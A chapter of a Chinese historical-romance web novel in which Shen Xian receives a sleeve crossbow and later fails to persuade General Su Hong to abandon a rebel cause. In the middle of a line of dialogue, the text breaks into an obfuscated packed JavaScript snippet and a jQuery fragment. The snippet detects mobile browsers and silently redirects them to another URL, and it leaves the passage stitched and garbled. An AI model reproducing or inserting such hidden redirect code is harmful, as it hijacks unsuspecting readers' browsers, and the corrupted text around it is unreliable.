“会了？”
“嗯，原本也不是什么困难的事，不是么？”
“你肯用它就好。”
案上是雕饰精美的木匣，其中物品如今正握于陆衡手中，通体由黄铜铸成，熠熠生辉。
“要不要亲自试一试？”
沈羡闻言，颇为自信地朝他点点头，语气中是毋容置疑的坚定：“试啊，为何不试？我不觉得一支小小袖箭能难得倒我。”
他轻笑一声，脚步声便渐渐弱了下来。片刻，他自屏风后出现，手上还捧着一方巾帕。
“是难不倒你，当初为你挑选生辰礼时，我也是精挑细选过的。”
“话说回来，你为何想要送我袖箭？我又不善武艺，平日里也没那么多人想要夺我性命。”
“那你以为我会赠你什么？”
酷暑时节，人们即便什么也不做，好端端卧于床榻上，心中也难免涌上一阵一阵的热意，直烧得人浑身发烫，又何况是站立。
沈羡抿唇，陷入思考，丝毫没有意识到额头上正沁出一些汗珠。
“大抵会是金玉珠翠一类？发钗、步摇、耳铛……总归不会是这样的防身之物，你也知晓我已有了一把短刀了。”
见陆衡伸手递来巾帕，沈羡没多想便接了过来，拭去额间之汗。
“怎么……”沈羡目光略显诧异，“不是给我的？”
陆衡掩唇，眉眼却是弯了弯：“是给你的，但不是为着要你拭汗。”
“无妨。”他转身取来皮质扣带，“抬起左臂。”
沈羡不明所以，却还是乖乖伸直了小臂。
扣带不甚吸热，是以皮革贴上她的肌肤，压下铜质袖箭，带给她丝丝凉意。
“这袖箭身形小小，威力却大。平日里，只消将其用扣带绑紧，藏于袖中，便无人能识破。”
沈羡不答，只盯着他，无声催促着。
陆衡失笑：“马上便好。”
“如遇危险，便按下机关，对准敌人，便能射出一支箭镞。”
托着她小臂的手缓缓放下，随即，沈羡指尖所指之处转向不远之处的瓷瓶。
“你想问为什么要送它？”
“当今世道，不是身份显赫便能安然无忧……恰恰相反，手上的筹码越多，便越诱人，暗中为你吸引许多虎视眈眈的敌人。”
“他们在暗，而你在明。要有武器在侧用于防身。”
“而总有一些意外，会令你抽不出刀。我想要的，便是这样的暗器……”
“哪怕境况再不利，你也能为自己觅得一线生机。”
“咻——！”
声音并不大，在这只有他们二人的屋子里才稍显动静。
瓷瓶乍然破裂，其中水浆也随之迸出，在其身下蔓延开来，像是敌人的鲜血。
……
“我在建康城居住这么久，还是头一回见到这样一望无际的园林呢。”
“瑶娘说笑了。”
“若要说建康城，的确，除却刘悦的春晴园外，无人能比得上它。但若要说城外园林……瑶娘，你不是没去过宣城，自然明白沈家园林不遑多让。”
沈羡有些牵强地挤出一个笑，却很是精准地偏过头来，找到了正鬼鬼祟祟往一旁逃去的苏韫晓，狠狠瞪她一眼。
怎料苏韫晓大胆得很，底气十足地朝她点点头，而后又弓着腰无声大笑。全然没有认错的自觉，更没有做了亏心事后的态度。
罢了，罢了。
沈羡调整好呼吸，再抬头，又是天衣无缝的一副面孔。
苏弘从她那里学来自己乳名一事，待会儿再计较。
不同于宫殿之间紧密排列、方正规整的台城。此处园林亭台楼榭一应俱全，依山傍水、高低错落。
饶是沈羡已跟着众人在这迂回弯绕的羊肠小径中转了不知几圈，仍然不觉逼仄与炎热，反倒觉出些清爽来。
而她并未因为这里怡然和乐的氛围有丝毫松懈，久久相谈而不入正题，她已有些按捺不住了。
“我们这是去哪里？”
苏韫晓仰头朝远处的凉亭努努嘴：“喏，等绕过这条小径，我们便到了。”
按说这设计园林之人当真是费了心思。凉亭左侧，是一条小溪，顺着山势倾泻而下。山坡植遍竹林，他们笼罩于一片阴影之中，心头的躁动也消散得无影无踪，颇有雅趣。
凉亭内摆一矮几，其上分明是纵横交错的棋盘。
“苏将军这是要我们对弈？可……”
沈羡有些为难地环顾四周。可除却他们二人，却还有苏韫晓和始终未发一言的苏季和，还有……默默立于角落的宣城内史。
“恕我棋艺不精，如若要我与将军比上一场，只怕要让您笑话。”
“瑶娘过谦了。”苏弘淡淡答道，“论博弈，你的技艺远超于我，使人论定品阶，那也是入神坐照的上品。区区棋艺，又怎在话下？”
苏弘话中有话，沈羡又怎能不知他深意，只是在众人面前，总不好太直白。
沈羡愣住一瞬，转而纵目远望：“那里是好一块沃田，想来的确适宜躬耕吟咏。”
苏弘摆一摆手，谦让道：“瑶娘言重了。在此耕作的都是家中部曲，只会躬耕，不会吟咏。”
“是啊，苏家底下还接纳无数佃户。”苏韫晓在一旁跟腔道，“你有所不知，我们这儿自成体系。粮食、陶瓷、酒酿、织物……除却盐铁要向官家购买，端的是自给自足。”
苏韫晓这一番话虽是好心要为沈羡解围，却无形之中令她陷入复杂的思绪。
他们能自给自足，在吴兴横行无忌，那么皇室呢？当地人口皆被他们隐匿了去，也难怪人口久久不增，赋税见少。
“瑶娘，你父亲在宣城，也有这样一块纵横数百里的田地。你只是惯于居住在建康，早已经忘了……沈家立足不是因为战功，这里，才是沈家得以立足的资本。”
沈羡端着的笑容当即僵在脸上。
这是说他们本该同气连枝，也是在敲打她，依附皇室，不能长久。
“事到如今，也没必要再此虚与委蛇，徒然浪费彼此的时间，不是么？”
苏弘话锋突转，令沈羡心中微微一惊。
可这里还有几位不相干之人……沈羡的视线颇为隐晦地扫了一旁的苏家兄妹。
“瑶娘同苏家的关系已经僵了许久了，如今却破天荒地远行百里来这吴兴。”
苏弘眸光一转。
“贤侄，自刘荣反后，你最是反对，自此也从未再迈进苏家的门。而今也是兴致颇高，难得同我一叙。”
“怎么会这么巧，两位稀客，前脚他上门，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205725|157918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后脚你便拜访？”
沈羡原本也没想着要让他们的来意瞒过苏弘的眼睛，见他无心再同他们攀谈下去，她干脆承认。
“将军，我们的确是有些话要同您说。”
“我知道，在此也不必藏着掖着了，苏季和与苏韫晓他们虽不比你敢于亲身跳入这漩涡，却并非毫无所知。”
“苏将军，您胸怀大志，雄才大略，何必在那些注定无望之事上白白倾注心力呢？”
“您明知叛军大败，刘含之仓皇逃窜，还始终忌惮着您。如今，您在他身上，还能得到什么？”
“你想说我应当识趣地就此停下，向朝廷示忠。”
“但你手上有什么东西能打动我？”
沈羡敛眸，不疾不徐。
“许您司空之位，封三千户侯。”
“如若不从呢？”
“这三千户侯，便要落入旁人手中了。”
“我不在意这些身外之物。”
“苏将军。”沈羡有些情急，“如今不是着眼于内乱的时候。”
“所谓世家，所谓皇室，不都是江山的一份子？如若江山倾覆，胡族的马蹄便会像沉重的车轮一般向我们碾来，自天子以至于百姓，无一人能幸免。”
“你们想让我对外抗击胡族，事后再将我以叛臣论处？”
“……我不是这个意思。”
苏弘抬眼，定定地盯着她，眸中却是坦荡，毫无羞恼之意。
“在你们看来，我这样不知国家大义，而拘泥于眼前私情，是不是很可笑，亦很可怜？”
“但我要问你，凭何众人皆以大义为先，二者有何分别？
“大义为何成之大义，私情如何称作私情？你眼中的大义是什么？私情是什么？”
“先有家国，才有身处其中的我们。难道沈将军就甘愿将江山拱手相让，至众人于死地吗？”沈羡平静答道。
“那些罔顾私情成就大义的人，果真觉得自己的价值高出别人一截吗？难道背叛了自己的妻儿，赌上自己的所有，拉上一切与你相干的人为你去死，就可以为后世称颂，可以为万人景仰，而不被唾骂了吗？”
“可是叔父，您这样，也是在送苏家人去死啊……”一旁宣城内史弱声道。
“因为这不是我心中的私情，我也不惧这点名声。”
苏弘重重吐出一口浊气，他起身走到众人身前，向下眺望，将园林景致尽收眼底。
“我没有那样的胸怀。从头至尾，满心铭记的，也只是刘大将军的拔擢之恩，若没有他，我脚下这一切也便不复存在。”
“他们审时度势，为家族而谋，求的是生前权势与身后名。可我以为，大丈夫之共事，矢志不移，若中道变心反悔，便失信义①，这是我的行事准则。”
“可苏将军……”沈羡良久才道，“何必为着一腔热血而赴死呢。”
“真美啊……”苏弘没回答，只轻喃道。
“淮水战败后，我回到这里，就是要同众人告别，最后看一眼苏家的土地。苏家后事，在你来之前，已经同我儿妥帖说明了。”苏弘回过身来，面容平静温和。
苏弘来到沈羡面前，缓缓将她扶起，神情近乎狂热，又夹杂着显而易见的决绝。
“我马上要走。”
“来荆州杀我。”